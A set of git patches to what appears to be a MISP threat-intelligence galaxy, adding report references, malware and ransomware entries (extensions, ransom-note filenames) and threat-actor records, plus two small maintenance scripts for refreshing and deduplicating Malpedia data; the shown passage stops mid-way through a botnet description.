"b8967b3c-3bc9-11e8-8701-8b1ead8c099e", "value": "APT35" }, From 587dc8560b5508fad9502111c99948016be3bb9c Mon Sep 17 00:00:00 2001 From: marjatech Date: Mon, 4 Jul 2022 14:24:34 +0200 Subject: [PATCH 005/167] add script to automate malpedia update --- clusters/malpedia.json | 106 ++++++++++++++++++++++++++++++++---- tools/del_duplicate_refs.py | 17 ++++++ tools/fetch_malpedia.sh | 6 ++ 3 files changed, 119 insertions(+), 10 deletions(-) create mode 100755 tools/del_duplicate_refs.py create mode 100755 tools/fetch_malpedia.sh diff --git a/clusters/malpedia.json b/clusters/malpedia.json index 2a086b8..cb5af6a 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -213,6 +213,7 @@ "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html" ], "synonyms": [ + "ReBot", "TeaBot", "Toddler" ], @@ -3207,6 +3208,7 @@ "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", "https://twitter.com/sisoma2/status/1473243875158499330", "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://killingthebear.jorgetesta.tech/actors/alphv", "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", @@ -6931,6 +6933,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.menlosecurity.com/blog/increase-in-attack-socgholish", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", @@ -10368,6 +10371,7 @@ "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", "https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/", "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--89", + "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", "https://habr.com/ru/company/group-ib/blog/477198/", "https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware", "https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/", @@ -12335,6 +12339,7 @@ "https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/main/Ransomware/Babuk/Babuk_Ransomware_EN_2021_05.pdf", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.bleepingcomputer.com/news/security/babyk-ransomware-wont-hit-charities-unless-they-support-lgbt-blm/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.bleepingcomputer.com/news/security/leaked-babuk-locker-ransomware-builder-used-in-new-attacks/", "https://securelist.com/ransomware-world-in-2021/102169/", "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", @@ -13561,6 +13566,7 @@ "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://killingthebear.jorgetesta.tech/actors/alphv", "https://github.com/f0wl/blackCatConf", "https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/", "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", @@ -13958,6 +13964,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister", "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", "https://redcanary.com/blog/intelligence-insights-january-2022/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", @@ -15202,6 +15209,7 @@ "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html", + "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", "https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/", "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/", @@ -19139,6 +19147,7 @@ "https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/", "https://techcrunch.com/2020/03/01/visser-breach/", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", "https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", @@ -19408,7 +19417,7 @@ "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://unit42.paloaltonetworks.com/travel-themed-phishing/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/", @@ -19419,7 +19428,7 @@ "https://assets.virustotal.com/reports/2021trends.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://twitter.com/Cryptolaemus1/status/1407135648528711680", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-005.pdf", "https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps", "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", @@ -19464,6 +19473,7 @@ "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", @@ -20404,6 +20414,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.entropy", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728" ], @@ -21723,7 +21734,7 @@ "https://blog.malwarebytes.com/threat-analysis/2021/05/revisiting-the-nsis-based-crypter/", "http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html", "https://link.medium.com/uaBiIXgUU8", - "https://usualsuspect.re/article/formbook-hiding-in-plain-sight", + "https://blog.cyble.com/2022/07/01/xloader-returns-with-new-infection-technique/", "https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", @@ -21740,6 +21751,7 @@ "https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/", "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-inside-formbook-infostealer/", "https://www.netskope.com/blog/new-formbook-campaign-delivered-through-phishing-emails", + "https://usualsuspect.re/article/formbook-hiding-in-plain-sight", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", @@ -21858,12 +21870,13 @@ "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", - "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.secureworks.com/research/threat-profiles/gold-drake", "https://www.youtube.com/watch?v=LUxOcpIRxmg", @@ -23474,6 +23487,7 @@ "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", @@ -24017,6 +24031,19 @@ "uuid": "2637315d-d31e-4b64-aa4b-2fc265b0a1a3", "value": "HesperBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.heyoka", + "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5833d95c-4131-4cd3-8600-fc40bb834fe3", + "value": "heyoka" + }, { "description": "", "meta": { @@ -24471,6 +24498,7 @@ "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", "https://www.secureworks.com/research/threat-profiles/bronze-mayfair", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", @@ -25990,6 +26018,19 @@ "uuid": "7d69892e-d582-4545-8798-4a9a84a821ea", "value": "Kelihos" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.keona", + "https://twitter.com/3xp0rtblog/status/1536704209760010241" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b74ad48b-ac26-4748-adac-b824defbe315", + "value": "Keona" + }, { "description": "", "meta": { @@ -27906,6 +27947,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" ], @@ -27968,6 +28010,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber", "https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/", "https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/", + "https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/", "https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372", "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", "https://asec.ahnlab.com/en/30645/", @@ -29762,6 +29805,19 @@ "uuid": "c57a4168-cd09-4611-a665-bbcede80f42b", "value": "Monero Miner" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall", + "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e0627961-fc28-4b7d-bb44-f937defa052a", + "value": "mongall" + }, { "description": "", "meta": { @@ -32181,6 +32237,19 @@ "uuid": "46dc64c6-e927-44fc-b4a4-efd1677ae030", "value": "Pay2Key" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin", + "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "313c81ab-fba2-4577-8de6-863515a65c45", + "value": "PayloadBIN" + }, { "description": "PcShare is a open-source backdoor which has been seen modified and used by Chinese threat actors, mainly attacking countries in South East Asia.", "meta": { @@ -32400,8 +32469,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" ], @@ -41751,7 +41821,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek", - "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become" + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/" ], "synonyms": [], "type": [] @@ -42078,7 +42149,7 @@ "synonyms": [], "type": [] }, - "uuid": "7f93a8c3-edc7-4c91-a8e5-cc2cbe08880b", + "uuid": "33c661b3-b9e7-49a7-a82b-4b5977e79cae", "value": "win.unidentified_059" }, { @@ -43164,7 +43235,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader", - "https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf" + "https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf", + "https://killingthebear.jorgetesta.tech/actors/evil-corp" ], "synonyms": [], "type": [] @@ -43190,6 +43262,7 @@ "https://areteir.com/wp-content/uploads/2020/07/Ransomware-WastedLocker-1.pdf", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.bleepingcomputer.com/news/security/garmin-outage-caused-by-confirmed-wastedlocker-ransomware-attack/", "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/", @@ -44519,6 +44592,19 @@ "uuid": "c0e8b64c-bd2c-4a3e-addc-0ed6cc1ba200", "value": "yty" }, + { + "description": "W32/Yunsip!tr.pws is classified as a password stealing trojan.\r\nPassword Stealing Trojan searches the infected system for passwords and send them to the hacker.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.yunsip", + "https://www.fortiguard.com/encyclopedia/virus/3229143" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1f8755ac-3dcc-43bd-a07f-cf0fbf2cdb7d", + "value": "Yunsip" + }, { "description": "Ransomware.", "meta": { @@ -45174,5 +45260,5 @@ "value": "Zyklon" } ], - "version": 14927 + "version": 14973 } diff --git a/tools/del_duplicate_refs.py b/tools/del_duplicate_refs.py new file mode 100755 index 0000000..2ec2896 --- /dev/null +++ b/tools/del_duplicate_refs.py @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 +# coding=utf-8 +""" + Tool to remove duplicates in cluster references +""" +import sys +import json + +with open(sys.argv[1], 'r') as f: + data = json.load(f) + +for c in data['values']: + c['meta']['refs'] = list(dict.fromkeys(c['meta']['refs'])) + +with open(sys.argv[1], 'w') as f: + json.dump(data, f) + diff --git a/tools/fetch_malpedia.sh b/tools/fetch_malpedia.sh new file mode 100755 index 0000000..2b49b17 --- /dev/null +++ b/tools/fetch_malpedia.sh @@ -0,0 +1,6 @@ +#!/bin/bash +cd "${0%/*}" +wget -O malpedia.json https://malpedia.caad.fkie.fraunhofer.de/api/get/misp +mv malpedia.json ../clusters/malpedia.json +./del_duplicate_refs.py ../clusters/malpedia.json +(cd ..; ./jq_all_the_things.sh) From c2e7ef4fab59690e4c17004f62a2d40382747fe0 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Wed, 6 Jul 2022 08:43:59 +0200 Subject: [PATCH 006/167] Update Medusa Locker and others --- clusters/ransomware.json | 55 ++++++++++++++++++++++++++++++++++++++ clusters/threat-actor.json | 36 +++++++++++++++++++++++++ 2 files changed, 91 insertions(+) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 9026d27..449151e 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -21648,6 +21648,61 @@ }, { "description": "ransomware", + "meta": { + "extensions": [ + ".1btc", + ".matlock20", + ".marlock02", + ".readinstructions", + ".bec", + ".mylock", + ".jpz.nz", + ".marlock11", + ".cn", + ".NET1", + ".key1", + ".fileslocked", + ".datalock", + ".NZ", + ".lock", + ".lockfilesUS", + ".deadfilesgr", + ".tyco", + ".lockdata7", + ".rs", + ".faratak", + ".uslockhh", + ".lockfiles", + ".tyco", + ".fileslock", + ".zoomzoom", + ".perfection", + ".uslockhh", + ".marlock13", + "n.exe", + ".Readinstruction", + ".marlock08", + ".marlock25", + "nt_lock20", + ".READINSTRUCTION", + ".marlock6", + ".marlock01", + ".ReadInstructions" + ], + "ransomnotes-filenames": [ + "how_to_ recover_data.html", + "how_to_recover_data.html.marlock01", + "instructions.html", + "READINSTRUCTION.html", + "!!!HOW_TO_DECRYPT!!!", + "How_to_recovery.txt", + "readinstructions.html", + "readme_to_recover_files", + "recovery_instructions.html", + "HOW_TO_RECOVER_DATA.html", + "recovery_instruction.html" + ] + }, "uuid": "627d603a-906f-4fbf-b922-f03eea4578fe", "value": "MedusaLocker" }, diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index d980ee7..a948411 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -7255,6 +7255,7 @@ { "description": "BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts.\nLike most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity.", "meta": { + "country": "CN", "refs": [ "https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-espionage-campaign-evolves-adds-japan-target-list/", "https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-cyberespionage-campaign-resurfaces-abuses-social-media-for-cc-communication/" @@ -7275,6 +7276,9 @@ "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html", "https://attack.mitre.org/groups/G0063/" + ], + "synonyms": [ + "G0063" ] }, "uuid": "8fbd195f-5e03-4e85-8ca5-4f1dff300bec", @@ -9098,6 +9102,38 @@ }, "uuid": "ef59014b-79bb-408f-97f1-3c585a240ca7", "value": "Scarab" + }, + { + "description": "BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.", + "meta": { + "country": "CN", + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/actor/blacktech" + ], + "synonyms": [ + "CIRCUIT PANDA", + "Temp.Overboard", + "HUAPI", + "Palmerworm", + "G0098", + "T-APT-03" + ] + }, + "uuid": "79488f2e-b858-4155-a743-e962a0fab99c", + "value": "BlackTech" + }, + { + "description": "", + "meta": { + "refs": [ + "" + ], + "synonyms": [ + "" + ] + }, + "uuid": "7c27120d-00ab-4ab4-b0e9-07e0ab2c1a94", + "value": "" } ], "version": 215 From 67d5f5c7c088ef0c72b837d8e06fd82bf74f6339 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Wed, 6 Jul 2022 09:34:11 +0200 Subject: [PATCH 007/167] fix duplicate extension --- clusters/ransomware.json | 1 - 1 file changed, 1 deletion(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 4fd78c6..9d23327 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -21677,7 +21677,6 @@ ".fileslock", ".zoomzoom", ".perfection", - ".uslockhh", ".marlock13", "n.exe", ".Readinstruction", From 279b89f6d9fa78fcdf9ede559d4086e762cd9caf Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Wed, 6 Jul 2022 09:38:02 +0200 Subject: [PATCH 008/167] fix duplicate extension-2 --- clusters/ransomware.json | 1 - 1 file changed, 1 deletion(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 9d23327..bf67d65 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -21673,7 +21673,6 @@ ".faratak", ".uslockhh", ".lockfiles", - ".tyco", ".fileslock", ".zoomzoom", ".perfection", From 56a53433f0aae5e9c26e1d8271e9114ba3da85dc Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Fri, 8 Jul 2022 12:05:31 +0200 Subject: [PATCH 009/167] add HelloXD ransomware --- clusters/ransomware.json | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index bf67d65..c39e63c 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -24535,7 +24535,27 @@ }, "uuid": "bb6d933f-7b6d-4694-853d-1ca400f6bd8f", "value": "Rook" + }, + { + "description": "HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021. During our research we observed multiple variants impacting Windows and Linux systems. Unlike other ransomware groups, this ransomware family doesn’t have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.", + "meta": { + "date": "Nov. 30, 2021", + "extensions": [ + "hello" + ], + "ransomnotes-filenames": [ + "Hello.txt" + ], + "ransomnotes-refs": [ + "https://unit42.paloaltonetworks.com/wp-content/uploads/2022/06/image13.png" + ], + "refs": [ + "https://unit42.paloaltonetworks.com/helloxd-ransomware/" + ] + }, + "uuid": "5617e6fa-4e6a-4011-9385-6b1165786563", + "value": "HelloXD" } ], - "version": 102 + "version": 103 } From 29aa7b3f69df98bdd5bed9de8a9e593b6f09fcad Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Fri, 8 Jul 2022 14:49:12 +0200 Subject: [PATCH 010/167] add Maui ransomware --- clusters/ransomware.json | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index c39e63c..371526c 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -24555,7 +24555,18 @@ }, "uuid": "5617e6fa-4e6a-4011-9385-6b1165786563", "value": "HelloXD" + }, + { + "description": "Maui ransomware stand out because of a lack of several key features commonly seen with tooling from RaaS providers, such as an embedded ransom note to provide recovery instructions or automated means of transmitting encryption keys to attackers. Instead, it is believed that Maui is manually operated, in which operators will specify which files to encrypt when executing it and then exfiltrate the resulting runtime artifacts. There are many aspects to Maui ransomware that are unknown, including usage context.", + "meta": { + "refs": [ + "https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-187a" + ] + }, + "uuid": "995c3772-dbda-4a2a-9e28-c47740d599a3", + "value": "Maui ransomware" } ], - "version": 103 + "version": 104 } From f562520a7cb4957160cf10059fc75f73386d714f Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Mon, 11 Jul 2022 08:09:17 +0200 Subject: [PATCH 011/167] chg: [ransomware] fixed --- clusters/ransomware.json | 1 - 1 file changed, 1 deletion(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index b0311a0..371526c 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -24555,7 +24555,6 @@ }, "uuid": "5617e6fa-4e6a-4011-9385-6b1165786563", "value": "HelloXD" - }, { "description": "Maui ransomware stand out because of a lack of several key features commonly seen with tooling from RaaS providers, such as an embedded ransom note to provide recovery instructions or automated means of transmitting encryption keys to attackers. Instead, it is believed that Maui is manually operated, in which operators will specify which files to encrypt when executing it and then exfiltrate the resulting runtime artifacts. There are many aspects to Maui ransomware that are unknown, including usage context.", From 924eda26ca68dd94eabd29e5c0744136b2a63aa3 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 12 Jul 2022 10:49:11 +0200 Subject: [PATCH 012/167] Add EnemyBot +relationships --- clusters/botnet.json | 38 +++++++++++++++++++++++++++++++++++++- clusters/malpedia.json | 11 ++++++++++- 2 files changed, 47 insertions(+), 2 deletions(-) diff --git a/clusters/botnet.json b/clusters/botnet.json index 460e4d5..4922a88 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1291,7 +1291,43 @@ }, "uuid": "3e40c1af-51f5-4b02-b189-74567125c6e0", "value": "Ripprbot" + }, + { + "Value": "EnemyBot", + "description": "In mid-March [2022], FortiGuard Labs observed a new DDoS botnet calling itself “Enemybot” and attributing itself to Keksec, a threat group that specializes in cryptomining and DDoS attacks.\n\nThis botnet is mainly derived from Gafgyt’s source code but has been observed to borrow several modules from Mirai’s original source code.\n\nIt uses several methods of obfuscation for its strings to hinder analysis and hide itself from other botnets. Furthermore, it connects to a command-and-control (C2) server that is hidden in the 